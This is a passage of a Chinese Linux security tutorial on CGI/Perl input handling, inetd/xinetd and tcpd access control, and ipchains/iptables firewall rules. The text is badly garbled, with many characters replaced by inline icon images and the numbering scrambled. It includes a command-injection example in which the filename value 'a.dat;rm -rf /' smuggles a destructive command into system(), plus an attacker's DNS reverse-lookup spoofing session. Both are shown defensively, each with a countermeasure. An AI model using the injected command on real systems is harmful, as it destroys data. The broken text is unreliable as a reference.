![](/icons/41291dou.gif)
更为成
熟
![](/icons/41291de.gif)
做法是创建cookie以保存随机会话ID
![](/icons/41291dou.gif)
并在服务器上将会话相关数据保存到数据库中
![](/icons/41291dou.gif)
以会话ID作为相应数据库
![](/icons/41291de.gif)
主键
![](/icons/41291dou2.gif)
3、总是检查数据
![](/icons/41291de.gif)
长度
![](/icons/41291dou2.gif)
4、不要依赖于referer头部信息
![](/icons/41291dou2.gif)
5、不要依赖cookie
![](/icons/41291dou2.gif)
将cookie和ssl
![](/icons/41291yi.gif)
起使用
![](/icons/41291dou2.gif)
6、以显式读模式打开文件
![](/icons/41291dou2.gif)
检查文件名中
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
如果存在允许范围的外
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
![](/icons/41291dou.gif)
就不要把
这个文件名传给open
![](/icons/41291kh.gif)
![](/icons/41291dou2.gif)
7、绝不要假设预处理会被执行
![](/icons/41291dou2.gif)
CGI
![](/icons/41291chengxu.gif)
决不能假设所收到
![](/icons/41291de.gif)
数据必定处于正确
![](/icons/41291de.gif)
格式
![](/icons/41291dou2.gif)
必须在CGI
![](/icons/41291chengxu.gif)
中检查数据格式
![](/icons/41291dou.gif)
并在必要时修改它
![](/icons/41291dou2.gif)
9、 使用系统
![](/icons/41291diaoyong.gif)
或管道时绝对不要相信来自表单
![](/icons/41291de.gif)
参数
![](/icons/41291dou2.gif)
应当验证变量只包含合法
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
10、 而不是检查其中是否包含非法
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
这样才能确保$file中文件名正确
![](/icons/41291dou2.gif)
即只包含
11、 字母
![](/icons/41291dou.gif)
数字
![](/icons/41291dou.gif)
下划线各点号
![](/icons/41291if.gif)
($file =~ /^[\w\.]+$/)) { all is well }
![](/icons/41291else.gif)
{ all is not well }
9、以序列方式执行system
![](/icons/41291kh.gif)
![](/icons/41291dou2.gif)
如:system("wc -c $file"),如果$file是a.dat;rm -rf / 就问题严重
![](/icons/41291dou2.gif)
变成wc -c a.dat;rm -rf /
![](/icons/41291dou2.gif)
可写成system 'wc','-c',$file
![](/icons/41291dou2.gif)
如果要在
![](/icons/41291chengxu.gif)
内部以反引号方式或管道
方式得到相应结果
![](/icons/41291dou.gif)
使用fork
![](/icons/41291kh.gif)
and exec
![](/icons/41291kh.gif)
![](/icons/41291dou2.gif)
如:$num_chars =`wc -c $file'; 安全实现为:
![](/icons/41291if.gif)
(open PIPE,'-|') { $num_chars =<PIPE>;}
![](/icons/41291else.gif)
{ exec 'wc','-c',$file; }
![](/icons/41291dou2.gif)
如果要用管道实现如下:open P,"wc -c $file |"; pr
![](/icons/41291int.gif)
<P>; 可安全实现
为:
![](/icons/41291if.gif)
(open PIPE, '-|') { pr
![](/icons/41291int.gif)
<PIPE> }
![](/icons/41291else.gif)
{ exec 'wc','-c',$file; }
利用WEB农场
![](/icons/41291dou.gif)
现在
![](/icons/41291dou.gif)
将web服务器建立在大型ISP服务器上情形很常见
![](/icons/41291dou.gif)
因此
![](/icons/41291dou.gif)
你
![](/icons/41291de.gif)
站
点可能同时和几百上千个站点
![](/icons/41291yi.gif)
起被“放牧”在“WEB农场上
![](/icons/41291dou2.gif)
如果其中
![](/icons/41291yi.gif)
个站点出现漏
洞
![](/icons/41291dou.gif)
那么就可能受到攻击
![](/icons/41291dou.gif)
并使黑客获得root权限
![](/icons/41291dou2.gif)
那你也不能幸免
![](/icons/41291dou2.gif)
所以要明智地选择
ISP.最好自已建站
![](/icons/41291dou2.gif)
其它web服务器
Jigsaw(www.w3.org/Jigsaw)是由w3c开发
![](/icons/41291dou.gif)
并用java实现
![](/icons/41291dou.gif)
它
![](/icons/41291de.gif)
设计目
![](/icons/41291de.gif)
更着重于技术示范
![](/icons/41291dou.gif)
示范将要流行
![](/icons/41291de.gif)
功能和技术
![](/icons/41291dou.gif)
不建议使用
![](/icons/41291dou2.gif)
thttpd是
![](/icons/41291yi.gif)
个简单
![](/icons/41291dou.gif)
小型
![](/icons/41291dou.gif)
可移植
![](/icons/41291dou.gif)
快速和安全
![](/icons/41291de.gif)
HTTP服务器
![](/icons/41291dou2.gif)
它内建调节功能
![](/icons/41291dou.gif)
允许用
户指定URL or URL GROUP
![](/icons/41291de.gif)
最大字节流量
![](/icons/41291dou2.gif)
AOL服务器
![](/icons/41291dou2.gif)
基于Tcl
![](/icons/41291de.gif)
多线程服务器
![](/icons/41291dou2.gif)
适用大型动态站点
![](/icons/41291dou2.gif)
由大型商业公司开发
![](/icons/41291dou.gif)
但遵
循GPL
![](/icons/41291dou2.gif)
bash-httpd
![](/icons/41291dou2.gif)
是
![](/icons/41291yi.gif)
个用bash编写
![](/icons/41291de.gif)
web服务器
![](/icons/41291dou2.gif)
但它没有其它大多数web服务器
![](/icons/41291de.gif)
功能
![](/icons/41291dou.gif)
运
行缓慢而且不安全
![](/icons/41291dou.gif)
不适合于工作环境
![](/icons/41291dou2.gif)
awk-httpd
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
个用AWK写
![](/icons/41291de.gif)
web服务器
![](/icons/41291dou2.gif)
运行缓慢
![](/icons/41291dou.gif)
不安全
![](/icons/41291dou.gif)
而且只实现了http
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
个
子集
![](/icons/41291dou2.gif)
不适合于工作环境
![](/icons/41291dou2.gif)
小结
采用以下几个措施可以帮助管理员保护web站点
![](/icons/41291de.gif)
安全
![](/icons/41291dou2.gif)
1、 选择
![](/icons/41291yi.gif)
个安全
![](/icons/41291de.gif)
服务器
![](/icons/41291dou.gif)
确保每当出现安全漏洞时都能够快速升级(apache能很好地满
2、 足这个要求)
![](/icons/41291dou2.gif)
这个要求也针对在基础软件Software中添加
![](/icons/41291de.gif)
其它部件
![](/icons/41291dou.gif)
如mod_perl,mod_php4
![](/icons/41291dou2.gif)
3、 正确配置服务器
![](/icons/41291dou.gif)
使其拒绝列出目录内容
![](/icons/41291dou.gif)
只执行特定目录下
![](/icons/41291de.gif)
CGI
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
并禁止使用
4、 “..”(指向上层目录)
![](/icons/41291dou2.gif)
3、绝不使用来处INTERNET
![](/icons/41291de.gif)
CGI
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
并且在编写这类
![](/icons/41291chengxu.gif)
时避免作任何假设
![](/icons/41291dou2.gif)
4、除非使用序列方式
![](/icons/41291dou.gif)
否则不要
![](/icons/41291diaoyong.gif)
system
![](/icons/41291kh.gif)
or exec
![](/icons/41291kh.gif)
![](/icons/41291hanshu.gif)
![](/icons/41291dou2.gif)
也不要打开管道
![](/icons/41291dou2.gif)
5、定时检查服务器
![](/icons/41291de.gif)
日志文件
![](/icons/41291dou2.gif)
第十 3章 访问控制和防火墙
只要你
![](/icons/41291de.gif)
linux系统连接了Internet并提供了某些服务
![](/icons/41291dou.gif)
那么实施主机访问控制和防火墙就
是实现linux安全
![](/icons/41291de.gif)
第
![](/icons/41291yi.gif)
步
![](/icons/41291dou2.gif)
inetd
很多网络服务都由inetd(Internet Daemon)启动
![](/icons/41291dou2.gif)
它能够监听系统中多个指定
![](/icons/41291de.gif)
端口
![](/icons/41291dou.gif)
如果
在某个端口上建立了连接
![](/icons/41291dou.gif)
就启动相应
![](/icons/41291de.gif)
服务
![](/icons/41291dou2.gif)
例如
![](/icons/41291dou.gif)
假设在端口23建立了
![](/icons/41291yi.gif)
个连接
![](/icons/41291dou.gif)
则
inetd就启动telnet守护进程来处理请求
![](/icons/41291dou2.gif)
类似地
![](/icons/41291dou.gif)
如果用户连向机器
![](/icons/41291de.gif)
ftp端口21
![](/icons/41291dou.gif)
inetd
就会启动ftpd进程
![](/icons/41291dou2.gif)
inetd在文件/etc/services中查找请求连接
![](/icons/41291de.gif)
端口
![](/icons/41291dou2.gif)
使用了inetd
![](/icons/41291dou.gif)
系统就
只需持续运行
![](/icons/41291yi.gif)
个守护进
![](/icons/41291chengxu.gif)
就可以了
![](/icons/41291dou.gif)
而不是十个 8个
![](/icons/41291dou2.gif)
启动inetd时
![](/icons/41291dou.gif)
它读取配置文件
/etc/inetd.conf以确定自已控制
![](/icons/41291de.gif)
服务
![](/icons/41291dou2.gif)
telnet stream tcp nowait root /usr/sbin/telnetd
pop-3 stream tcp nowait root /usr/sbin/pop3d
各字段分别表示:
1、服务
![](/icons/41291de.gif)
名称(在/etc/services中指定)
2、套接字类型stream/dgram
3、协议 tcp/udp
4、nowait指定inetd为新连接创建新
![](/icons/41291de.gif)
进程
5、进程将以什么用户(root)运行
6、
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
位置
xinetd
是inetd
![](/icons/41291de.gif)
扩展或增强版
![](/icons/41291dou2.gif)
它实现了若干inetd中没有但很有价值
![](/icons/41291de.gif)
功能
![](/icons/41291dou.gif)
包括:
1、内建了基于远程主机地址、名字或域名
![](/icons/41291de.gif)
访问控制功能
![](/icons/41291dou.gif)
类似于tcp封装器
![](/icons/41291dou2.gif)
2、基于时间段
![](/icons/41291de.gif)
访问控制
![](/icons/41291dou2.gif)
3、完整记录连接日志、包括成功或失败
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
5、 通过限制同类服务进程
![](/icons/41291de.gif)
并发运行数、服务进程
![](/icons/41291de.gif)
总数、日志文件大小、接收同
![](/icons/41291yi.gif)
主机
6、
![](/icons/41291de.gif)
连接数等
![](/icons/41291dou.gif)
可防止DoS
![](/icons/41291dou2.gif)
5、可将服务绑定到指定
![](/icons/41291de.gif)
网络接口(例如只绑定内部接口而不绑定外部接口)
![](/icons/41291dou2.gif)
配置思路方法和inetd完全区别
![](/icons/41291dou.gif)
可通过perl
![](/icons/41291chengxu.gif)
xconv.pl从inetd.conf文件转换为xinetd.conf
文件
![](/icons/41291dou2.gif)
$/usr/local/sbin/xconv.pl < /etc/inetd.conf > /etc/xinetd.conf
配置文件格式
defaults
{
instances = 25
log_type = FILE /var/log/servicelog
log_on_seccess = HOST PID
log_on_failure = HOST RECORD
per_sourece = 5
}
service ftp
{
flags = REUSE NAMEINARGS
![](/icons/41291socket.gif)
_type = stream
protocol = tcp
wait = no
user = root
server = /usr/sbin/in.ftpd
server_args = -l -a
}
defaults节中各字段含义如下:
instances 服务器并发处理
![](/icons/41291de.gif)
请求数上限
log_type 在指定文件中记录日志
![](/icons/41291dou.gif)
但xinetd也允许使用syslog
log_on_success 对成功
![](/icons/41291de.gif)
连接选择要记录
![](/icons/41291de.gif)
信息
![](/icons/41291dou.gif)
包括PID,HOST AND USERID
log_on_failure 对失败
![](/icons/41291de.gif)
连接选择要记录
![](/icons/41291de.gif)
信息
![](/icons/41291dou.gif)
包括PID,HOST AND USERID
per_source 同
![](/icons/41291yi.gif)
ip地址对同
![](/icons/41291yi.gif)
服务建立连接数
![](/icons/41291de.gif)
上限
![](/icons/41291include.gif)
dir /etc/xinetd.d 该目录下
![](/icons/41291de.gif)
脚本也可由xinetd启动
![](/icons/41291dou2.gif)
将inetd转换为xinetd
![](/icons/41291de.gif)
最后
![](/icons/41291yi.gif)
步是修改/etc/rc.d下
![](/icons/41291de.gif)
相应脚本
![](/icons/41291dou.gif)
将xinetd配置为在系统启动
时运行
![](/icons/41291dou2.gif)
使用inetd and tcpd实施主机访问控制
tcpd能对服务进行外“封装”
![](/icons/41291dou.gif)
请求规则在/etc/hosts.allow and /etc/hosts.deny中定义
![](/icons/41291dou2.gif)
下面是
某个安装了tcpd
![](/icons/41291de.gif)
inetd.conf配置文件
![](/icons/41291dou2.gif)
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
这里用tcpd封装了in.ftpd,in.telnetd,ipop3d
![](/icons/41291dou.gif)
当试图和这些服务连接时
![](/icons/41291dou.gif)
tcpd会检验相应规
则
![](/icons/41291dou2.gif)
/etc/hosts.allow and /etc/hosts.deny中
![](/icons/41291de.gif)
规则格式为:
daemon_list : client_list [:shell_command]
ALL:ALL
ALL:127.0.0.1
in.telnetd:127.0.0.1
in.telnetd:127.0.0.1 trusted.machine.example.com .example.com
完整
![](/icons/41291de.gif)
匹配规则如下
1、 如果项以前导点号开始
![](/icons/41291dou.gif)
它匹配该域内
![](/icons/41291de.gif)
所有客户机
![](/icons/41291dou2.gif)
如.example.com匹配
2、 xxx.example.com
![](/icons/41291dou.gif)
xxx.xxx.example.com等
![](/icons/41291dou2.gif)
2、如果项以点号结尾
![](/icons/41291dou.gif)
它匹配所有前缀相同
![](/icons/41291de.gif)
客户机
![](/icons/41291dou2.gif)
如192.168.和所有类似于
192.168.xxx.xxx
![](/icons/41291de.gif)
机器匹配
![](/icons/41291dou2.gif)
3、如果项以"@"开始
![](/icons/41291dou.gif)
就被认作是nis网络组名
![](/icons/41291dou2.gif)
如sshd:@trustedhosts将允许trustedhosts
网络组中
![](/icons/41291de.gif)
机器访问ssh
![](/icons/41291dou2.gif)
4、如果项格式为xxx.xxx.xxx.xxx/yyy.yyy.yyy.yyy
![](/icons/41291dou.gif)
就被认作是网络掩码对
![](/icons/41291dou2.gif)
如
192.168.1.0/255.255.255.0将匹配所有ip在192.168.1.0--192.168.1.255范围内
![](/icons/41291de.gif)
机器在
![](/icons/41291dou2.gif)
通配符介绍说明:
ALL 匹配所有客户机
![](/icons/41291dou2.gif)
LOCAL 匹配所有不包含点号
![](/icons/41291de.gif)
机器
![](/icons/41291dou2.gif)
UNKNOWN 匹配任何名称或地址未知
![](/icons/41291de.gif)
客户机(必须小心使用)
![](/icons/41291dou2.gif)
KNOWN 匹配任何名称或地址已知
![](/icons/41291de.gif)
客户机(必须小心使用
![](/icons/41291dou.gif)
可能会
![](/icons/41291yinwei.gif)
名字服务器
![](/icons/41291de.gif)
原因而临时无法获得主机名)
![](/icons/41291dou2.gif)
PARANOID 匹配任何名称或地址不匹配
![](/icons/41291de.gif)
客户机
![](/icons/41291dou2.gif)
因此
![](/icons/41291dou.gif)
为抵御telnet攻击
![](/icons/41291dou.gif)
可在/etc/host.deny中写规则all:all
![](/icons/41291dou.gif)
以拒绝黑客
![](/icons/41291de.gif)
telnet连接
![](/icons/41291dou2.gif)
如
果允许某机器使用telnet连接
![](/icons/41291dou.gif)
可将其添加到/etc/hosts.allow文件中:telnetd:xxx.example.com
![](/icons/41291dou2.gif)
使用xinetd实施主机访问控制
xinetd对inetd最重要
![](/icons/41291de.gif)
增强的
![](/icons/41291yi.gif)
是内建访问控制能力
![](/icons/41291dou.gif)
从而不需要tcp封装器
![](/icons/41291dou2.gif)
它对服务可
以实施如下访问控制:
1、类似于tcp封装器
![](/icons/41291de.gif)
控制
![](/icons/41291dou2.gif)
基于ip地址
![](/icons/41291de.gif)
控制
![](/icons/41291dou.gif)
基于ip名控制
![](/icons/41291dou.gif)
基于域名控制
![](/icons/41291dou2.gif)
2、访问时间(例如将ftp访问限制在上午8点到下午5点的间)
使用xinetd拒绝所有机器
![](/icons/41291de.gif)
所有访问可在xinetd.conf
![](/icons/41291de.gif)
defaults节中设置no_access =
0.0.0.0
![](/icons/41291dou2.gif)
另
![](/icons/41291yi.gif)
个思路方法是使用属性only_from =
![](/icons/41291dou.gif)
不给它赋值
![](/icons/41291dou.gif)
这种办法较好
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
的后我们
0.0.1.0 可以在其后添加允许连接
![](/icons/41291de.gif)
主机
![](/icons/41291dou2.gif)
可以为每个服务指定允许连接
![](/icons/41291de.gif)
ip
![](/icons/41291dou2.gif)
给only_from添加时必须使用“
![](/icons/41291jiadeng.gif)
”操作符
![](/icons/41291dou2.gif)
可以用access_times属性限制访问
![](/icons/41291de.gif)
时间
![](/icons/41291dou.gif)
如access_times=8:00-17:00
伪造“可信”
![](/icons/41291de.gif)
反解析DNS地址
hacker$host hacker.example.com
hacker.example.com has address 192.168.15.10.
hacker$host 192.168.15.10
10.15.168.192.IN-ADDR.ARPA do
![](/icons/41291main.gif)
name po
![](/icons/41291int.gif)
er trusted.target_network.com
这个黑客为了进入target_network.com
![](/icons/41291dou.gif)
就将他
![](/icons/41291de.gif)
反解析DNS地址设置成属于可信域
![](/icons/41291dou2.gif)
对策:
如果软件Software采用简单
![](/icons/41291de.gif)
预防措施
![](/icons/41291dou.gif)
这
![](/icons/41291yi.gif)
攻击就不能得逞:同时进行前向和反向
![](/icons/41291de.gif)
DNS查询
![](/icons/41291dou2.gif)
编译tcp封装器时如果选了-DPARANOID选项
![](/icons/41291dou.gif)
就会切断所有前向和反向DNS解析不
![](/icons/41291yi.gif)
致
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
来自信任域
![](/icons/41291de.gif)
攻击者
在inetd中锁定域中指定主机
![](/icons/41291dou2.gif)
可在HOSTS.ALLOW文件中使用EXCEPT操作
![](/icons/41291dou2.gif)
ALL:127.0.0.1 .example.com EXCEPT trouble.example.com
另
![](/icons/41291yi.gif)
个思路方法是删除它
![](/icons/41291de.gif)
么向DNS记录
![](/icons/41291dou.gif)
使该机器不能映射到任何域名
![](/icons/41291dou2.gif)
在xinetd中锁住域中指定主机
![](/icons/41291dou2.gif)
可使用no_access
![](/icons/41291yi.gif)
些不支持inetd/xinetd启动和
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
如SSH
![](/icons/41291dou.gif)
如果想支持TCP封装器
![](/icons/41291dou.gif)
可在编译时指定
--with-tcp-wrappers选项
![](/icons/41291dou2.gif)
如果软件Software包本身不支持可请
![](/icons/41291chengxu.gif)
维护者添加该功能(通常不成功)
![](/icons/41291dou.gif)
或自已开发实现该功能
![](/icons/41291dou2.gif)
攻击脆弱
![](/icons/41291de.gif)
tcp封装器规则
在安装了封装器并设置了规则后
![](/icons/41291dou.gif)
可能会发现封装器没有正常工作
![](/icons/41291dou.gif)
这通常是配置文件中
![](/icons/41291cuowu.gif)
造成
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
可用TCPDCHK AND TCPDMATCH检验规则
![](/icons/41291dou2.gif)
针对由inetd启动服务
![](/icons/41291de.gif)
资源耗尽攻击
黑客可以对被tcp封装器保护
![](/icons/41291de.gif)
服务发起数以千记
![](/icons/41291de.gif)
连接对系统发动资源耗尽攻击
![](/icons/41291dou2.gif)
造成不
能响应合法
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
如果系统没有使用xinetd
![](/icons/41291dou.gif)
可以用tcpserver来限制连向服务
![](/icons/41291de.gif)
连接数量
![](/icons/41291dou2.gif)
这个
![](/icons/41291chengxu.gif)
也允许管理员配置主机访问控制
![](/icons/41291dou2.gif)
其功能和TCP封装器相同
![](/icons/41291dou2.gif)
使用xinetd可以防
御这种攻击
![](/icons/41291dou.gif)
它内建功能有助于对付这种问题
![](/icons/41291dou2.gif)
1、限制每个服务
![](/icons/41291de.gif)
并发连接数(instances);
2、限制每个IP地址连向单个服务
![](/icons/41291de.gif)
连接数(per_source)
![](/icons/41291dou2.gif)
防火墙
防火墙要比通过tcp封装器或xinetd实现
![](/icons/41291de.gif)
主机访问控制更加安全
![](/icons/41291dou2.gif)
这是
![](/icons/41291yinwei.gif)
防火墙能够阻
止黑客到达受保护机器
![](/icons/41291de.gif)
端口
![](/icons/41291dou.gif)
而封装器是针对已到达系统
![](/icons/41291de.gif)
连接请求所采取
![](/icons/41291de.gif)
安全措施
![](/icons/41291dou2.gif)
主要有两类
![](/icons/41291de.gif)
防火墙
1、 应用代理服务器
![](/icons/41291dou2.gif)
解析指定
![](/icons/41291de.gif)
协议并根据要求建立连接
![](/icons/41291dou2.gif)
通常包括内容过滤功能(例如:
2、 阻塞javascript)
3、 包过滤防火墙
![](/icons/41291dou2.gif)
根据源和目
![](/icons/41291de.gif)
地址有选择地接收或拒绝数据包
![](/icons/41291dou.gif)
它常并不解析相应协议
![](/icons/41291dou.gif)
4、 所以不执行内容检查
![](/icons/41291dou2.gif)
许多防火墙
![](/icons/41291dou.gif)
特别是商业版本
![](/icons/41291dou.gif)
通常整合了这两个类型
![](/icons/41291dou2.gif)
它们通常被称为有状态包过滤器
![](/icons/41291yinwei.gif)
它们维护某些会话状态以支持类似FTP
![](/icons/41291de.gif)
协议
![](/icons/41291dou.gif)
同时又基于数据包过渡以便快速处理
![](/icons/41291dou2.gif)
linux包过滤功能集成在内核中
![](/icons/41291dou.gif)
2.2版
![](/icons/41291de.gif)
是ipchains
![](/icons/41291dou.gif)
2.4版
![](/icons/41291de.gif)
是iptables
![](/icons/41291dou2.gif)
包过滤检查数据
包
![](/icons/41291de.gif)
头部并确定所应采取
![](/icons/41291de.gif)
动作:
接受数据包
![](/icons/41291dou.gif)
即允许通过
![](/icons/41291dou2.gif)
回绝(reject)数据包
![](/icons/41291dou.gif)
丢弃它并告诉源地址数据包被拒绝
![](/icons/41291dou2.gif)
拒绝(deny)数据凶
![](/icons/41291dou.gif)
直接丢掉它
![](/icons/41291dou.gif)
就好像没有接收到这个数据包
![](/icons/41291dou2.gif)
最高效
![](/icons/41291de.gif)
策略是拒绝数据包
![](/icons/41291dou.gif)
这样就能拒绝潜在
![](/icons/41291de.gif)
黑客访问
![](/icons/41291dou.gif)
并且不给出任何响应---他将不
知道连接已经被拒绝
![](/icons/41291dou.gif)
而该连接也被挂起
![](/icons/41291dou.gif)
直到超时(这样极大延缓了端口扫描
![](/icons/41291de.gif)
速度)
![](/icons/41291dou2.gif)
linux2.4内核彻底重写了包过滤代码以使的更为强大
![](/icons/41291dou2.gif)
相应系统称为Netfilter
![](/icons/41291dou2.gif)
控制其规则
集
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
是iptables
![](/icons/41291dou.gif)
iptables类似于ipchains
![](/icons/41291dou.gif)
两者间
![](/icons/41291de.gif)
区别有:
1、内建chain名现在为大写(即INPUT,OUTPUT,FORWARD等)
![](/icons/41291dou2.gif)
3、 TCP AND UDP端口现在需要指定--source-port or --sport和--distination-port or dport选项
![](/icons/41291dou.gif)
4、 并且必须放置在-p tcp or -p udp的后
![](/icons/41291dou2.gif)
3、-y标志现在改为-syn
![](/icons/41291dou.gif)
并必须放置在-p tcp 的后
![](/icons/41291dou2.gif)
4、DENY 被 DROP取代
![](/icons/41291dou2.gif)
5、MASQ被改为MASQUERQDE,并使用区别
![](/icons/41291de.gif)
语法
![](/icons/41291dou2.gif)
6、对状态检查
![](/icons/41291de.gif)
支持不再需要内核模块
![](/icons/41291dou2.gif)
状态检查
引入状态检查
![](/icons/41291de.gif)
概念是iptables所做
![](/icons/41291de.gif)
最重要
![](/icons/41291de.gif)
工作的
![](/icons/41291yi.gif)
![](/icons/41291dou2.gif)
有状态检测
![](/icons/41291de.gif)
防火墙不仅检查源、
目
![](/icons/41291de.gif)
IP地址和端口
![](/icons/41291dou.gif)
也监视所使用
![](/icons/41291de.gif)
协议
![](/icons/41291dou.gif)
以确保该通信遵循相应
![](/icons/41291de.gif)
连接规则
![](/icons/41291dou2.gif)
如果是HTTP
连接
![](/icons/41291dou.gif)
它可以确保发往远程主机
![](/icons/41291de.gif)
GET,POST or HEAD请求符合HTTP协议
![](/icons/41291dou.gif)
的后
![](/icons/41291dou.gif)
它也
确保远程主机
![](/icons/41291de.gif)
响应信息包括HTTP报头和数据体
![](/icons/41291dou2.gif)
注意
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
个极有经验
![](/icons/41291de.gif)
黑客如果控制了
通信双方
![](/icons/41291dou.gif)
就只需修改其协议
![](/icons/41291dou.gif)
使的看起来像HTTP即可以通过防火墙
![](/icons/41291dou2.gif)
阻塞特定
![](/icons/41291de.gif)
网络访问
拒绝ICMP ping and traceroute
ipchains
![](/icons/41291de.gif)
实现
/sbin/ipchains -A input -s 0/0 echo-request -d 192.168.1.102 -p icmp -j DENY
-A input 添加规则到input规则集
-s 0/0 来自任何ip地址
echo-request -d x.x.x.x 到目
![](/icons/41291de.gif)
地址
![](/icons/41291de.gif)
echo-request类型
-p icmp 协议
-j DENY 立即拒绝
为对付traceroute
![](/icons/41291dou.gif)
应拒绝所有流向端口33435---33525
![](/icons/41291de.gif)
包
![](/icons/41291dou2.gif)
/sbin/ipchains -A input -s 0/0 -d 192.168.1.102 -p udp 33435:33525 -j DENY
iptables
![](/icons/41291de.gif)
实现
/sbin/iptables -A INPUT -s 0/0 -d 192.168.1.102 -p icmp --icmp-type echo-request -j DROP
/sbin/iptables -A INPUT -s 0/0 -d 192.168.1.102 -p udp --dport 33435:33525 -j DROP
telnet端口连接尝试
ipchains
![](/icons/41291de.gif)
实现
/sbin/ipchains -A input -i eth0 -s 0/0 -d 192.168.1.102 telnet -p tcp -j DENY ( 如果其它服务只
需替换telnet就可以了)
防火墙策略
在系统上建立防火墙时
![](/icons/41291dou.gif)
我们建议遵循
![](/icons/41291yi.gif)
个简单
![](/icons/41291de.gif)
规则
![](/icons/41291dou.gif)
拒绝所有未被显式许可
![](/icons/41291de.gif)
东西
![](/icons/41291dou2.gif)
换名话说就是
![](/icons/41291dou.gif)
应先确定哪些包允许通过并创建规则
![](/icons/41291dou.gif)
其它所有数据包应被拒绝
![](/icons/41291dou2.gif)
这是最安
全
![](/icons/41291de.gif)
思路方法
![](/icons/41291dou2.gif)
实现这
![](/icons/41291yi.gif)
策略
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
种思路方法是启动防火墙并拒绝所有数据包
![](/icons/41291dou.gif)
将所有被拒绝
![](/icons/41291de.gif)
数据
包记录到日志文件中
![](/icons/41291dou.gif)
然后
![](/icons/41291dou.gif)
检查日志文件
![](/icons/41291dou.gif)
注意那些被拒绝
![](/icons/41291de.gif)
包
![](/icons/41291dou.gif)
如果发现应允许
![](/icons/41291de.gif)
某个
数据包通过
![](/icons/41291dou.gif)
就在规则集
![](/icons/41291de.gif)
起始处添加规则以允许该数据包通过
![](/icons/41291dou.gif)
然后继续这
![](/icons/41291yi.gif)
过程
![](/icons/41291dou2.gif)
直到
系统允许
![](/icons/41291de.gif)
所有服务都能通过
![](/icons/41291int.gif)
ernet访问
![](/icons/41291dou2.gif)
如果允许所有数据包流入
![](/icons/41291de.gif)
某个端口(如:SSH)
![](/icons/41291dou.gif)
仍然应当使用tcp封装器以拒绝来自
hosts.allow中指主机的外
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
这样做能达到双层保护
![](/icons/41291de.gif)
效果
![](/icons/41291dou.gif)
旦防火墙配置出错都还有
另
![](/icons/41291yi.gif)
条防线
![](/icons/41291dou2.gif)
使用ipchains创建防火墙(规则
![](/icons/41291de.gif)
顺序至关重要
![](/icons/41291dou2.gif)
应该是默认规则
![](/icons/41291dou.gif)
允许流入
![](/icons/41291dou.gif)
拒绝全部)
/sbin/ipchains -P input DENY 处理流入数据包
![](/icons/41291de.gif)
默认规则是DENY
/sbin/ipchains -A input -s 0/0 -d 192.168.1.102 www -p tcp -j ACCEPT
/sbin/ipchains -A input -s 0/0 -d 192.168.1.102 ssh -p tcp -j ACCEPT
/sbin/ipchains -A input -j DENY -l 拒绝所有流入
![](/icons/41291de.gif)
数据包并记录它们(使用-l选项)
iptables实现
![](/icons/41291dou.gif)
也应遵循和ipchains相同
![](/icons/41291de.gif)
策略
/sbin/iptables -P INPUT DROP
/sbin/iptables -A INPUT -s 0/0 -d 192.168.1.102 -p tcp --dport www -j ACCEPT
/sbin/iptables -A INPUT -s 0/0 -d 192.168.1.102 -p tcp --dport ssh -j ACCEPT
/sbin/iptables -A INPUT -j DROP
/sbin/iptables -A UNPUT -j LOG 记录所有拒绝流入
![](/icons/41291de.gif)
数据包
![](/icons/41291dou2.gif)
防火墙配置工具
www.linux-firewal-toos.com/linux
MonMatha
![](/icons/41291de.gif)
IPTables
开源防火墙
FWTK 应用代理防火墙
SINUS
![](/icons/41291yi.gif)
个可运行于较小
![](/icons/41291de.gif)
linux系统以及2.0内核
![](/icons/41291de.gif)
防火墙
![](/icons/41291dou2.gif)
Floppyfw
![](/icons/41291yi.gif)
个具有防火墙功能
![](/icons/41291de.gif)
静态路由器
![](/icons/41291dou.gif)
只要
![](/icons/41291yi.gif)
张1.44M软盘就可启动2.2内核并安装
配置防火墙
![](/icons/41291dou2.gif)
linux router project 另
![](/icons/41291yi.gif)
个单软盘路由器/防火墙
商业防火墙
checkpo
![](/icons/41291int.gif)
cisco pix
gauntlet
sonicwall
附录
保持你
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
最新版本
延伸阅读
最新评论